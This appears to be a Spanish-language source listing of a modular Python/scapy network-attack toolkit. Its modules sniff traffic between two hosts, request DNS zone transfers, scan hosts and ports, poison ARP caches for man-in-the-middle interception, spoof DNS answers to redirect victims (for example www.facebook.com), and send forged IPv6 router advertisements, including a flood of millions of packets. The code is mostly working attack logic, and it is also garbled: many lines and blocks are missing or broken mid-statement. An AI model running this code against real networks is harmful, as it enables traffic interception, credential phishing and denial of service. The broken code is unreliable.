
self.__info()
else:
print("""

------ ----- -----------

target1 {:<15} Dirección ip del objetivo1
target2 {:<15} Dirección ip del objetivo2

{}options info{}
""".format(self.target1, self.target2,
str(self.iface), Fore.YELLOW, Fore.RESET))
def set(self,args):
try:
if args[0] == "target1":
self.target1 = args[1]
print("[+] target1:",args[1])
elif args[0] == "target2":
else:
print("ERROR!",e)
def run(self):
comando = 'python3 modulos/scanner/_sniff.py ' +
self.target1 + ' ' + self.target2 + ' ' + str(self.iface)
def proceso():
subprocess.run(['xterm','-e', comando])
hilo.start()
#--------------------------------------------------------------------
#Nombre de script: _ sniff.py
import sys
import logging
try:
except:
sys.exit(0)
target1 = sys.argv[1] #args[0]

iface = None
else:
iface = sys.argv[3]
try:
conf.verb=0

print("Monitoreando paquetes entre {} y

{}...\n".format(target1,target2))
flagsD = {
1: 'FIN',
2: 'SYN',
4: 'RST',
8: 'PSH',
16: 'ACK',
32: 'URG',
64: 'ECE',
128: 'CWR',
24: 'PSH-ACK',
18: 'SYN-ACK',
17: 'FIN-ACK',
20: 'RST-ACK'
}
def escaner(pkt):
if IP in pkt:
ip_src= pkt[IP].src
ip_dst= pkt[IP].dst
if TCP in pkt:
tcp_sport = pkt[TCP].sport
tcp_dport = pkt[TCP].dport
tcp_seq = pkt[TCP].seq
tcp_ack = pkt[TCP].ack
tcp_flags= pkt[TCP].flags
print("IP(src:" + str(pkt[IP].src) + ", dst:" +

str(pkt[IP].dst) + ")")
print("TCP(sport:" + str(pkt[TCP].sport) + ",
dport:" + str(pkt[TCP].dport) +", seq:"+ str(pkt[TCP].seq) + ",
ack:"+ str(pkt[TCP].ack) +", flags: "+ flagsD[pkt[TCP].flags]+")")
if pkt[TCP].flags == 24:
print("PAYLOAD(", pkt.load.decode('UTF-
8').strip(), ")\n")
else:
print("\n")
a=sniff(filter="(src {} and dst {}) or (src {} and dst

{})".format(target1,target2,target2,target1), iface=iface, prn=
escaner)
#a=sniff(filter="(src 192.168.0.103 and dst 192.168.0.101) or
(src 192.168.0.101 and dst 192.168.0.103)", prn= lambda x:x.show())
#python3 _sniff.py 192.168.0.101 192.168.0.106

except KeyboardInterrupt: #si el usuario interrumpe desde teclado,
vuelve al prompt principal
a=input("Sniffer detenido!")
print("ERROR: ", e)
a=input("Sniffer detenido!")
#--------------------------------------------------------------------
#Nombre de script: dnsaxfr.py
# Descripción: Permite identificar a los DNS autoritativos para un dominio y solicita una
transferencia de zona completa.

import dns.query
import dns
import dns.resolver
import dns.zone
import os
import time
class Dnsaxfr():
domain = ""
def __info(self):
print("""
OPTIONS INFO
[+] domain: Dominio a consultar

----------------------------- ---------------------------
--
[-] set domain unt.edu.ar Dominio a consultar
""")

self.__info()
else:
print("""

------ ----- -----------
domain {:<24} Dominio a consultar

{}options info{}
""".format(self.domain, Fore.YELLOW, Fore.RESET))
def set(self,args):
try:
if args[0] == "domain":
self.domain = args[1]
print("[+] domain:",args[1])
else:
print("ERROR!",e)
print("Se esperaba set <option name> <value>")

try:
l1= []
l2=[]
l3=[]
servers= []
servidores = dns.resolver.query(self.domain,'NS')
l1 = servidores.response.to_text().split("\n")

for item in l1:

if item.find("IN NS")>0:
l2.append(item)
if len(l2) > 0:
for i in l2:
l3 = tuple(i.split("IN NS"))
if str(l3[1]).strip(".") != "":
servers.append(str(l3[1]).strip("."))
print("\nSe encontraron {}
servidores.\n".format(len(servers)))
for sv1 in servers:
print("Solicitando transferencia de zona al
servidor", sv1)
try:
zona =
dns.zone.from_xfr(dns.query.xfr(sv1.strip(" "), self.domain))
print("Tranferencia EXITOSA, servidor",
sv1.strip(" "),"\n")
time.sleep(1)
nombres = zona.nodes.keys()
for n in nombres:
print(zona[n].to_text(n))
print("\n")
except Exception as a:
print("Transferencia fallida,
servidor", sv1.strip(" "))
print("Reply code: Not authoritative
(9)\n")
print("ERROR: ",e)
#--------------------------------------------------------------------
#Nombre de script: liveshosts.py
# Descripción: Permite identificar a los hosts activos en una red.
import sys
import time
import logging
import socket
import struct
try:
except:
sys.exit(0)
class Liveshosts():
target = ""
method = "arp"
iface = None
def __info(self):
print("""

OPTIONS INFO
[+] target: Dirección ip de la red a escanear.

----------------------------- ---------------------------
--
[-] set target 192.168.1.0/24 dirección de red a
escanear
[+] method: Metodo usado en el escaneo <tcpsyn, icmp, arp>

----------------------------- ---------------------------
--
[-] set method tcpsyn Usa mensajes TCP-SYN para
realizar el escaneo
de hosts activos
[-] set method arp Usa mensajes ARP request y ARP
Reply para realizar
el escaneo de hosts activos
[-] set method icmp Usa mensajes ICMP echo-request y
echo-reply para realizar
el escaneo de hosts activos
""")

self.__info()
else:
print("""

------ ----- -----------
target {:<15} Dirección ip de la red a escanear.
ejemplo: 192.168.1.0/24
method {:<15} Metodo usado en el escaneo <tcpsyn,
icmp, arp>

{}options info{}
""".format(self.target, self.method,
def set(self,args):
try:
elif args[0] == "method":
self.method = args[1]
print("[+] method:",args[1])
else:

print("ERROR!",e)
print("SEl comando debe tener la siguiente
sintaxis: <option name> <value>")

def ip2int(addr):
return struct.unpack("!I",
socket.inet_aton(addr))[0]
def int2ip(addr):
return socket.inet_ntoa(struct.pack("!I", addr))
mi_ip = IP(dst="")
mi_mac = ""#Ether(dst="")
if self.method == "arp":
conf.verb=0
net = self.target
if "/" in net:
iface= None
if self.target != "":
print("\nEscaneando hosts de la red
{}{}[{}]{}{}\n".format(Fore.CYAN, Style.BRIGHT, net, Fore.RESET,
Style.NORMAL))
try:
vivos, muertos =
srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net), iface=iface,
retry=-2, timeout=2)
# en la lista "vivos" se guardan

las duplas solicitudes-respuestas a las peticiones que hacemos
hosts_ips = []
hosts_macs = []
hostsN = []
for solicitud, respuesta in

vivos:
#
hosts_ips.append(respuesta[ARP].psrc)
#
hosts_macs.append(respuesta[ARP].hwsrc)
mi_mac =
respuesta[ARP].hwdst
hostsN.append((respuesta[ARP].psrc, respuesta[ARP].hwsrc))
hostsN.sort()
# imprimimos por partalla la

informacion antes del envenenamiento
print("--------------------------
-----------------------------")
print(Fore.RED + Style.BRIGHT +
" IP Address MAC Address " +
Back.RESET + Fore.RESET + Style.NORMAL)

print("--------------------------
-----------------------------")
for i in range(0, len(hostsN)):

print(" {:<15}
{}".format( hostsN[i][0], hostsN[i][1]))
print(" *{:<15}
{}".format(mi_ip.src, mi_mac))
print()
tiempo = tfinal - tinicial #
Devuelve un objeto timedelta
print("Tiempo de escaneo %.2f

segundos. Se encontraron %d host activos\n" %(tiempo, len(hostsN) +
1))
print(e)
else:
print("ERROR! el numero de parametros
es incorrecto.")
else:
print("ERROR! la dirección de red debe seguir
la siguiente sintaxis red/mask. Ejemplo 192.168.1.0/24")
elif self.method == "tcpsyn":

conf.verb=0
mi_ip = IP(dst="")
red = self.target
if "/" in red:
hostsp = self.target.split("/")
host = hostsp[0]
bitHosts = 32 - int(hostsp[1])
cantidadHosts = 2 ** bitHosts

{}{}[{}]{}{}\n".format(Fore.CYAN, Style.BRIGHT, red, Fore.RESET,
Style.NORMAL))
i=0
c=0
try:
while i < cantidadHosts:
ip_o = ip2int(host) # 167772161
ip_ent = ip_o + i
ip_dest = int2ip(ip_ent) #
192.168.1.100
puertoOrigen = RandShort()
if ip_dest == mi_ip.src:
i=i+1
continue
else:
paquete = IP(dst =
ip_dest)/TCP(sport = puertoOrigen, dport = 80, flags = "S")
respuesta = sr1(paquete,
iface=self.iface, timeout = 0.06)
if("NoneType" in
str(type(respuesta))):

print("{}{} {:<17}
[NO]{}{}".format(Fore.RED, Style.BRIGHT, ip_dest, Fore.RESET,
Style.NORMAL))
i=i+1
elif(respuesta.haslayer(TCP) and
(respuesta.getlayer(TCP).flags == 20 or respuesta.getlayer(TCP).flags
== 4 or respuesta.getlayer(TCP).flags == 18)):
#print(ip_dest + "
[conectado]")
p = IP(dst =
host)/TCP(sport = puertoOrigen, dport = 80, flags = "R")
rst = sr(p,
print(" {:<17}
[conectado]".format(ip_dest))
i=i+1
c=c+1
print("")
tiempo = tfinal - tinicial # Devuelve un
objeto timedelta
print("\nTiempo de escaneo %.2f segundos. Se

encontraron %d host activos\n" %(tiempo, c))
else:
elif self.method == "icmp":

conf.verb=0
mi_ip = IP(dst="")
red = self.target
hostsp = self.target.split("/")
host = hostsp[0]
bitHosts = 32 - int(hostsp[1])
cantidadHosts = 2 ** bitHosts
if "/" in red:

{}{}[{}]{}{}\n".format(Fore.CYAN, Style.BRIGHT, red, Fore.RESET,
Style.NORMAL))
i=0
c=0
while i < cantidadHosts:
ip_o = ip2int(host) # 167772161
ip_ent = ip_o + i
ip_dest = int2ip(ip_ent) #
192.168.1.100
paquete = IP(dst =
ip_dest)/ICMP(type=8)
respuesta = sr1(paquete,

if("NoneType" in str(type(respuesta))):
print("{}{} {:<17}
[NO]{}{}".format(Fore.RED, Style.BRIGHT, ip_dest, Fore.RESET,
Style.NORMAL))
i=i+1
else:
#print(ip_dest + "
[conectado]")
print(" {:<17}
[conectado]".format(ip_dest))
i=i+1
c=c+1
tiempo = tfinal - tinicial # Devuelve un
objeto timedelta
print("\nTiempo de escaneo %.2f segundos. Se

encontraron %d host activos\n" %(tiempo, c))
else:
else:
print("la opción 'method' solo admite <tcpsyn>,
<icmp> o <arp>")
#--------------------------------------------------------------------
#Nombre de script: ports.py
# Descripción: Permite identificar los puertos abiertos de un host.

import time
import nmap
import logging
try:
except:
sys.exit(0)
class Ports():
target = ""
ports = []
iface = None
def __info(self):
print("""
OPTIONS INFO
[+] target: Dirección ip de la red o host a escanear.

----------------------------- ---------------------------
--
[-] set target 192.168.1.1 ip de host a escanear
[-] set target 192.168.1.0/24 dirección de red a
escanear
[+] iface: Interfaz de red de.

----------------------------- ---------------------------
--
[-] set iface eth0 Interfaz de red del atacante
[+] ports: Se especifican los puertos a escanear. Por default

escaneará los primeros 1000 puertos de servicios bien conocidos.

----------------------------- ---------------------------
--
[-] set ports 21,22-25,80 escanea los puertos
21,22,23,24,25,80
""")

self.__info()
else:
if self.ports == [] or self.ports == ["default"] or

self.ports == [""] or self.ports == ["",""]:
self.ports = "default"
print("""

------ ----- -----------
target {:<15} Dirección ip de la red o host a
escanear. ejemplo: 192.168.1.1
ports {:<20} Puertos a escanear. Ejemplo:
80,433,444-689,789
{:<20}
{}options info{}
""".format(self.target, str(self.iface),
str(self.ports)[0:21], str(self.ports)[21:42],Fore.YELLOW,
Fore.RESET))
def set(self,args):
try:
elif args[0] == "ports":
self.ports = args[1]
print("[+] ports:",args[1])

else:
print("ERROR!",e)
def run(self):
listaPuertos=[]
if self.ports == "default":
listaPuertos = list(range(1,1001))
else:
puertos = self.ports.split(',')
for p in puertos:
if "-" in p:
aux = p.split("-")
listaaux = list(range(int(aux[0]),
int(aux[1]) + 1))
listaPuertos.extend(listaaux)
else:
listaPuertos.append(int(p))
conf.verb = 0 #Que no muestre datos en pantalla

#listaPuertos = list(range(70,100)) #La lista de puertos
a escanear
host2 = self.target #Aquí la IP que quieres escánear
nm = nmap.PortScanner()
if "/" in host2:
#print("\n")
conectados = nm.scan(host2, arguments= '-sP') # ---
-------------->>>>
ip_conectadas = list(conectados["scan"].keys())
ip_conectadas.sort()
mi_ip = IP(dst="")
if mi_ip.src in ip_conectadas:
ip_conectadas.remove(mi_ip.src)
print("Hosts conectados", ip_conectadas)
else:
ip_conectadas = [host2]
for host in ip_conectadas:
print("\nEscaneando puertos de
{}{}[{}]{}{}".format(Fore.CYAN, Style.BRIGHT, host, Fore.RESET,
Style.NORMAL))
print("-"*55)
print(Fore.RED + Style.BRIGHT + "{:>10} {}
{} ".format("PUERTO","ESTADO", "SERVICIO") + Back.RESET +
Fore.RESET + Style.NORMAL)
print("-"*55)
for puerto in listaPuertos:
puertoOrigen = RandShort()

paquete = IP(dst = host)/TCP(sport =

puertoOrigen, dport = puerto, flags = "S")
respuesta = sr1(paquete, iface=self.iface,
timeout = 0.06)
if("NoneType" in str(type(respuesta))):
pass
elif(respuesta.haslayer(TCP) and
respuesta.getlayer(TCP).flags == 0x12):
p = IP(dst = host)/TCP(sport =
puertoOrigen, dport = puerto, flags = "R")
rst = sr(p, iface=self.iface, timeout =
0.06)
try:
servicio =
socket.getservbyport(puerto)
except:
servicio = "desconocido"
print("{:>7}/tcp {:<13}
{}".format(puerto, "[ABIERTO]", servicio))
#print("[ABIERTO]",puerto," -
>",servicio)
print("\nTiempo de escaneo %.2f" %(tiempo), end="
segundos\n\n")
#--------------------------------------------------------------------
Módulos Spoofing
#Nombre de script: arpspoof.py
# Descripción: Permite realizar un ataque MITM envenenando la caché ARP de las víctimas.
import subprocess
import platform
import os
import threading
class Arpspoof():
target1 = ""
target2 = ""
iface = None
def __info(self):
print("""
OPTIONS INFO
[+] target1: Dirección ip del de host1 cuya caché ARP se desea

envenenar

----------------------------- ---------------------------
--
[-] set target1 192.168.1.1 Dirección ip del nodo1

[+] target2: Dirección ip del de host2 cuya caché ARP se desea

envenenar

----------------------------- ---------------------------
--
[-] set target2 192.168.1.25 Dirección ip del nodo2
""")

self.__info()
else:
print("""

------ ----- -----------
target1 {:<15} Dirección ip nodo1
target2 {:<15} Dirección ip nodo2

{}options info{}
def set(self,args):
try:
else:
print("ERROR!",e)
def run(self):
comando = 'python3
modulos/spoofing/_arpspoofing_spoofmitm.py ' + self.target1 + ' ' +
self.target2 + ' ' + str(self.iface)
def proceso():
hilo.start()
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")

os.system('iptables -A OUTPUT -p icmp --icmp-type 5 -j

DROP')
#--------------------------------------------------------------------
#Nombre de script: _arpspoof.py
import os
import sys
import time
import threading
import logging
import platform
try:
except:
sys.exit(0)
init()
def respuesta_ARP(pdst, hwdst, psrc, hwsrc, iface):

arp_reply = Ether(dst=hwdst)/ARP(pdst=pdst, hwdst=hwdst, psrc=
psrc, hwsrc=hwsrc, op= "is-at")
sendp(arp_reply, iface=iface)
exe = True
en = True
iptarget1 = sys.argv[1] #args[0]
iptarget2 = sys.argv[2] #args[1]
iface = None
else:
iface = sys.argv[3]
conf.verb=0
print(Fore.GREEN + "\nEscaneando objetivos...\n")

# Hacemos una peticion ARP para conocer la MAC del target1 y target2
arp_target1 =
srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=iptarget1), iface=iface,
arp_target2 =
srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=iptarget2), iface=iface,
# En caso que no haya respuesta a la peticion ARP que hicimos al

target1:
if arp_target1 == None:
print("El target1 " + iptarget1 + " no responde a la peticion
ARP. Abortando.." )
exe= False
time.sleep(3)

# En caso que no haya respuesta a la peticion ARP que hicimos al

target2:
if arp_target2 == None:
print("El target2 " + iptarget2 + " no responde a la peticion
ARP. Abortando.." )
exe= False
time.sleep(3)
if (exe):
# obtenemos la informacion que necesitamos del router
mactarget1 = arp_target1[ARP].hwsrc # MAC del target1
mactarget2 = arp_target2[ARP].hwsrc # MAC del target2
mi_ip = arp_target1[ARP].pdst # ip del atacante
mi_mac = arp_target1[ARP].hwdst # MAC del atacante
# imprimimos por partalla la informacion antes del

envenenamiento
print("------------------ TARGETS ----------------------------
")
print(" IP Address MAC Address ")
print("-------------------------------------------------------
")
print(" {:<15} {} [target 1]".format(iptarget1,

mactarget1))
print(" {:<15} {} [target 2]".format(iptarget2,
mactarget2))
print(Fore.RED + "\n-------------------------------------------
------------")
print("ATACANTE [IP: {} MAC: {}]".format(mi_ip, mi_mac))
print("-------------------------------------------------------"
+ Fore.GREEN)
# Envenenamiento de los target
print("\nEnvenenamiento de targets en progreso..\n")
def envenenar():
while en:
#Esperar unos segundos antes de cada ronda de
envenenamiento
#for i in range(0, len(hosts_ips)):
respuesta_ARP(iptarget2, mactarget2, iptarget1,
mi_mac, iface)
mi_mac, iface)
time.sleep(5)
def curar():
input("Presione la tecla ENTER para detener el
envenenamiento ARP...")
en = False
print(Fore.YELLOW +"Arreglando las tablas ARP a su estado
original...")
time.sleep(2)
# Arreglamos las tablas ARP de los target (por las dudas
envio 5 respuestas)
for j in range(1,5):
mactarget1, iface)
mactarget2, iface)
print(Fore.GREEN + "Listo!")

os.system('iptables -F')
time.sleep(3)
hilo = threading.Thread(target=envenenar, daemon=True)

hilo.start()
curar()
#--------------------------------------------------------------------
#Nombre de script: dnsspoof.py
# Descripción: Permite realizar un ataque de redirección al enviar resoluciones DNS
falsificadas.
import os
import threading
import sys
import logging
import argparse
import subprocess
class Dnsspoof():
target = ""
dnsserver = ""
domain = ""
redirect = ""
iface = None
def __info(self):
print("""
OPTIONS INFO
[+] target: Dirección ip de la victima

----------------------------- -----------------------------
[-] set target 192.168.1.25 Dirección ip victima
[+] dnsserver: Dirección ip del DNS por defecto.

----------------------------- -----------------------------
[-] set dnsserver 192.168.1.1 DNS por defecto.
[+] domain: URL del sitio a suplantar.

----------------------------- -----------------------------
[-] set domain www.facebook.com URL a suplantar.
[+] redirect: Direccion ip que se asociará a la URL supantada.

----------------------------- -----------------------------
[-] set redirect 192.168.1.17 IP de redirección
""")


self.__info()
else:
print("""

------ ----- -----------
target {:<15} Dirección ip de la victima
dnsserver {:<15} Dirección ip del DNS por defecto
domain {:<15} Nombre de dominio a spoofear (FQDN)
redirect {:<15} Dirección ip de redirección

{}options info{}
""".format(self.target, self.dnsserver, self.domain,
self.redirect, str(self.iface), Fore.YELLOW, Fore.RESET))
def set(self,args):
try:
elif args[0] == "dnsserver":
self.dnsserver = args[1]
print("[+] dnsserver:",args[1])
elif args[0] == "domain":
self.domain = args[1] + "."
print("[+] domain:",args[1])
elif args[0] == "redirect":
self.redirect = args[1]
print("[+] redirect:",args[1])
else:
print("'{}' no es una opción valida".format(args[0]))
print("ERROR!",e)
print("SEl comando debe tener la siguiente sintaxis: set
def run(self):
comando1 = 'python3
modulos/spoofing/_arpspoofing_spoofmitm.py ' + self.target + ' ' +
self.dnsserver + ' ' + str(self.iface)
def proceso1():
subprocess.call(['xterm', '-e', comando1])
hilo = threading.Thread(target=proceso1)
hilo.start()
comando = 'python3 modulos/spoofing/_dnsspoofing.py ' +

self.target + ' ' + self.dnsserver + ' ' + self.domain + ' ' +
self.redirect + ' ' + str(self.iface)
def proceso2():


hilo2 = threading.Thread(target=proceso2)
hilo2.setDaemon(True)
hilo2.start()
#--------------------------------------------------------------------
#Nombre de script: _dnsspoof.py
import os
import threading
import sys
import logging
import argparse
try:
except:
sys.exit(0)
dnsserver = sys.argv[2]
domain = sys.argv[3]
redirect= sys.argv[4]
verbose = True
iface= None
else:
iface= sys.argv[5]
def reglasRedirecion():
os.system("iptables --flush")
os.system("iptables --zero")
os.system("iptables --delete-chain")
os.system("iptables -F -t nat")
os.system('iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP')
os.system("iptables -A OUTPUT -p udp -s "+ dnsserver +" --sport
53 -d 0/0 --dport 1024:65535 -m state --state ESTABLISHED -j DROP")
os.system("iptables -t nat -A PREROUTING -i "+iface+" -p udp --

dport 53 -j DNAT --to "+redirect)
os.system("iptables -t nat -A PREROUTING -i "+iface+" -p tcp --
dport 53 -j DNAT --to "+redirect)
def limpiarReglas():
'''
Limpia reglas de IPTABLES.
'''
os.system("iptables --flush")
# iptables -L
def desabilitarRetransmision():
'''
Deshabilita la retransmision de paquetes
'''

def habilitarRetransmision():
'''
Habilita la retransmision de paquetes
'''
def envenevamiento(packet):
''' Filtrar los paquetes DNS desde la puerta de enlace.
Por definición, la puerta de enlace es mucho más rápida que el
proceso de creación de paquetes usando scapy, ya que
necesitamos filtrar las respuestas de la puerta de enlace usando
IPTables.'''
#print("resum000en: ", packet.summary())
if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0: #si
qr==0 es una consulta dns
nombreDominio = packet.getlayer(DNS).qd.qname.decode('utf-
8').rstrip('\n')
if nombreDominio== domain:
try:
requestIP = packet[IP]
requestUDP = packet[UDP]
requestDNS = packet[DNS]
requestDNSQR = packet[DNSQR]
if verbose:
print('\n[+] La consuta DNS para el dominio %s
fue capturada..\n' %(domain))
print('[+] Generando y enviando una respuesta con
la siguiente configuración:\n')
print('[+] IP Source: %s ' %(requestIP.dst))
print('[+] IP Dest: %s ' %(requestIP.src))
print('[+] Port Source: %s ' %(requestUDP.dport))
print('[+] Port Dest: %s ' %(requestUDP.sport))
print('[+] RRName: %s '
%(packet.getlayer(DNS).qd.qname))
print('[+] RData: %s ' %(redirect))
print('[+] DNS Packet ID: %s ' %(requestDNS.id))
responseIP = IP(src=requestIP.dst, dst=requestIP.src)

responseUDP = UDP(sport = requestUDP.dport, dport =
requestUDP.sport)
responseDNSRR = DNSRR(rrname=nombreDominio, rdata =
redirect)
responseDNS = DNS(qr=1,id=requestDNS.id,
qd=requestDNSQR, an=responseDNSRR)
answer = responseIP/responseUDP/responseDNS
send(answer)
send(answer)
send(answer)
#limpiarReglas()
except:
print("Error inesperado:", sys.exc_info()[0])
limpiarReglas()
try:
limpiarReglas()

reglasRedirecion()
conf.verb = 0
print("Esperando consulta DNS para el dominio ", domain)
filtro= "src {} and dst {} and udp port 53".format(target,
dnsserver)
sniff(iface=iface, filter=filtro, prn=envenevamiento)
limpiarReglas()
limpiarReglas()
raise
limpiarReglas()
print(e)
input("Precione la tecla ENTER para detener el ataque dnsspoofing..")
#--------------------------------------------------------------------
Módulos IPv6
#Nombre de script: scanipv6.py
# Descripción: Permite identificar a los hosts IPv6 de una red local.
import sys
import time
import logging
try:
except:
sys.exit(0)
class Scanipv6():
ip6global = ""
iface = None
#ip6global = "::"
def __info(self):
print("""
OPTIONS INFO
Solo debe configurar el nombre de la interfaz de su placa de red.
Y opcionalmente su IP global.
""")

self.__info()
else:
print("""

------ ----- -----------
ip6global {:<15} Su IPv6 global

Para más información acerca de las opciones escriba el comando: {}

options info{}
""".format(self.ip6global, str(self.iface),
def set(self,args):
try:
elif args[0] == "ip6global":
self.ip6global = args[1]
print("[+] ip6global:",args[1])
else:
print("ERROR!",e)
def run(self):
conf.verb=0
try:
eth = Ether(dst="33:33:00:00:00:01")
if self.ip6global == "":
self.ip6global= "::"
ipv6g = IPv6(src=self.ip6global, dst = 'ff02::1')
ipv6 = IPv6(dst = 'ff02::1')
icmpv6 = ICMPv6EchoRequest()
paquete = eth/ipv6 / icmpv6
paqueteg = eth/ipv6g / icmpv6
ip_v6= []
print("\nEscaneando red local...\n")
resp_exitosa, resp_falla = srp(paquete, timeout =

1.5, multi = True, iface=self.iface)
for (solicitud, respuesta) in resp_exitosa:
ip_v6.append((respuesta[IPv6].src,
respuesta.src))
resp_exitosa2, resp_falla = srp(paqueteg, timeout =

1.5, multi = True, iface=self.iface)
for (solicitud, respuesta) in resp_exitosa2:
respuesta.src))
ips= set(ip_v6)
ips = list(ips)
print("--------------------------------------------
-----------")
print(Fore.RED + Style.BRIGHT + " IPv6
Address MAC Address " + Back.RESET +
Fore.RESET + Style.NORMAL)
print("--------------------------------------------
-----------")

for ip_ in ips:

print(" {:<33}{:<17}".format(ip_[0], ip_[1]))
print()
print("Error: la ip global ingresada no es
válida.")
print(e)
#--------------------------------------------------------------------
#Nombre de script: fakerouter.py
# Descripción: Permite realizar ataques de MITM y DoS por medio del envío de mensajes
ICMPv6 RA falsificados.
import time
import os
import sys
import time
import logging
try:
except:
sys.exit(0)
class Fakerouter():
defaultrouter = ""#"fe80::29af:b6e2:572e:c1fa"
fakerouter = "" #"fe80::82c5:f2ff:fe25:f068"
lifetime = "120"
prefix = "2001:db8::/64"
iface = None
def __info(self):
print("""
OPTIONS INFO
[+] defaultrouter: Dirección ipv6 link-local del default router

----------------------------- ---------------------------
--
[-] set defaultrouter fe80::1 Dirección ipv6 link-local
del default router
[+] fakerouter: Dirección ipv6 link-local del router falso

----------------------------- ---------------------------
--
[-] set fakerouter fe80::15 Dirección ipv6 link-local del
router falso
[+] lifetime: Tiempo en minutos en el que el fakerouter será un

default router válido

----------------------------- ---------------------------
--
[-] set lifetime 60 tiempo en minitos del fakerouter
[+] prefix: prefijo de subred

----------------------------- ---------------------------
--
[-] set prefix 2001:dbe::/64 prefijo de subred
""")

self.__info()
else:
print("""

------ ----- -----------
defaultrouter {:<26} Direcion IPv6 link-local del router por
defecto.
fakerouter {:<26} Direcion IPv6 link-local del router falso.
lifetime {:<26} Tiempo en min. en el que fakerouter es un
default router válido.
prefix {:<26} Prefijo de subred.
Para más información acerca de las opciones escriba el comando: {}

options info{}
""".format(self.defaultrouter, self.fakerouter,
self.lifetime, self.prefix, str(self.iface), Fore.YELLOW,
Fore.RESET))
def set(self,args):
try:
elif args[0] == "defaultrouter":
self.defaultrouter = args[1]
print("[+] defaultrouter:",args[1])
elif args[0] == "fakerouter":
self.fakerouter = args[1]
print("[+] fakerouter:",args[1])
elif args[0] == "lifetime":
self.lifetime = args[1]
print("[+] lifetime:",args[1])
elif args[0] == "prefix":
self.prefix = args[1]
print("[+] prefix:",args[1])
else:
print("ERROR!",e)

def run(self):
conf.verb=0
try:
prefijo = self.prefix.split("/")
if self.defaultrouter != "":
eth = Ether()
ipv6 = IPv6(dst = self.defaultrouter)
paquete = eth/ipv6 / icmpv6
ip_v6= []
resp_exitosa, resp_falla = srp(paquete,

timeout = 1,iface=self.iface)
for (solicitud, respuesta) in resp_exitosa:
respuesta.src))
a0 = IPv6(src=ip_v6[0][0], dst = 'ff02::1')

b0 = ICMPv6ND_RA(routerlifetime=0)
c0 = ICMPv6NDOptSrcLLAddr(lladdr=ip_v6[0][1])
d0 = ICMPv6NDOptMTU()
e0 =
ICMPv6NDOptPrefixInfo(prefixlen=int(prefijo[1]), prefix=prefijo[0])
send(a0/b0/c0/d0/e0, iface=self.iface)
send(a0/b0/c0/d0/e0, iface=self.iface)
a = IPv6(src=self.fakerouter, dst = 'ff02::1')

b = ICMPv6ND_RA(routerlifetime= int(self.lifetime)
* 60) # int(self.lifetime) * 60
c = ICMPv6NDOptSrcLLAddr(lladdr= solicitud.src)
d = ICMPv6NDOptMTU()
e = ICMPv6NDOptPrefixInfo(prefixlen=
int(prefijo[1]), prefix=prefijo[0])
os.system('echo 1 >
/proc/sys/net/ipv6/conf/all/forwarding')
for x in range(3): # while True: #
send(a/b/c/d/e, iface=self.iface)
# time.sleep(5)
print("Paquete RA falso enviado.")
print("Error:",e)
#--------------------------------------------------------------------
#Nombre de script: raflood.py
# Descripción: Permite realizar un ataque de Food Router Advertisement por medio del envío
de mensajes ICMPv6 RA falsificados.
import subprocess
import os
import threading
import time

class Raflood():
iface = None
def __info(self):
print("""
OPTIONS INFO
El modulo no posee parametros de configuracion obligatorios.
""")

self.__info()
else:
print("""

------ ----- -----------

{}options info{}
""".format(str(self.iface), Fore.YELLOW,
Fore.RESET))
def set(self,args):
try:
else:
print("ERROR!",e)
def run(self):
comando = 'python3 modulos/ipv6/_raflood.py ' +

str(self.iface)
def proceso():
hilo.start()
#--------------------------------------------------------------------
#Nombre de script: _raflood.py
import time
from random import randrange, choice
import sys
import logging
import os
try:

except:
sys.exit(0)
conf.verb=0
try:
iface = None
else:
iface = sys.argv[1]
def random_MAC(): # funcion generadora de MACs random

digito =
['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
mac= (choice(digito)+ choice(digito) + ':' +
choice(digito)+ choice(digito) + ':' + choice(digito)+ choice(digito)
+ ':'
+ choice(digito)+ choice(digito) + ':' + choice(digito)+
choice(digito) + ':' + choice(digito)+ choice(digito))
return mac
def random_prefix(): #genedador de prefix random

digito =
['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
prefix= (choice(digito)+ choice(digito) + choice(digito)+
choice(digito) + ':' + choice(digito)+ choice(digito)
+ choice(digito)+ choice(digito) + '::')
interfaceID = choice(digito)+ choice(digito) +
choice(digito)+ choice(digito)
return ["2001:dead:"+prefix,
"fe80:dead:"+prefix+interfaceID]
print("Inundacion RA en progreso...")
for x in range(5000000):
a = IPv6(dst = 'ff02::1')
b = ICMPv6ND_RA()
c = ICMPv6NDOptSrcLLAddr(lladdr=random_MAC())
d = ICMPv6NDOptMTU()
e = ICMPv6NDOptPrefixInfo(prefixlen=64,
prefix=random_prefix()[0])
#while True:
send(a/b/c/d/e, iface=iface)
os.system("clear")
print("Inundacion RA en progreso...")
print("Cantidad de paquetes RA enviados:",x)
print("precione Ctrl-C para detener el ataque.")
print(e)
input("enter para salir")
#--------------------------------------------------------------------
#Nombre de script: namitm.py
# Descripción: Permite realizar un ataque de MITM al envenenar el caché vecino de las
víctimas.
import subprocess
import os

import threading
class Namitm():
target1 = ""
target2 = ""
macaddr = ""
iface = None
def __info(self):
print("""
OPTIONS INFO
[+] target1: Dirección ipv6 del de host1 cuya caché vecino se desea
envenenar

----------------------------- ---------------------------
--
[-] set target1 2001:db8::30 Dirección ipv6 del nodo1
[-] set target1 fe80::30
[+] target2: Dirección ip del de host2 cuya caché vecino se desea

envenenar

----------------------------- ---------------------------
--
[-] set target2 2001:db8::15 Dirección ipv6 del nodo2
[-] set target2 fe80::30
[+] macaddr: Dirección MAC del atacante

----------------------------- ---------------------------
--
[-] set macaddr 80:c5:f2:25:f2:87 Dirección MAC del atacante
""")

self.__info()
else:
print("""

------ ----- -----------
target1 {:<15} Dirección ipv6 nodo1
target2 {:<15} Dirección ipv6 nodo2
macaddr {:<15} Direccion MAC del hombre en medio

{}options info{}
self.macaddr, str(self.iface), Fore.YELLOW, Fore.RESET))

def set(self,args):
try:
elif args[0] == "macaddr":
self.macaddr = args[1]
print("[+] macaddr:",args[1])
else:
print("ERROR!",e)
def run(self):
comando = 'python3 modulos/ipv6/_namitm.py ' +

self.target1 + ' ' + self.target2 + ' ' + self.macaddr + ' ' +
str(self.iface)
def proceso():
hilo.start()
os.system('ip6tables -F')
os.system('echo 1 >
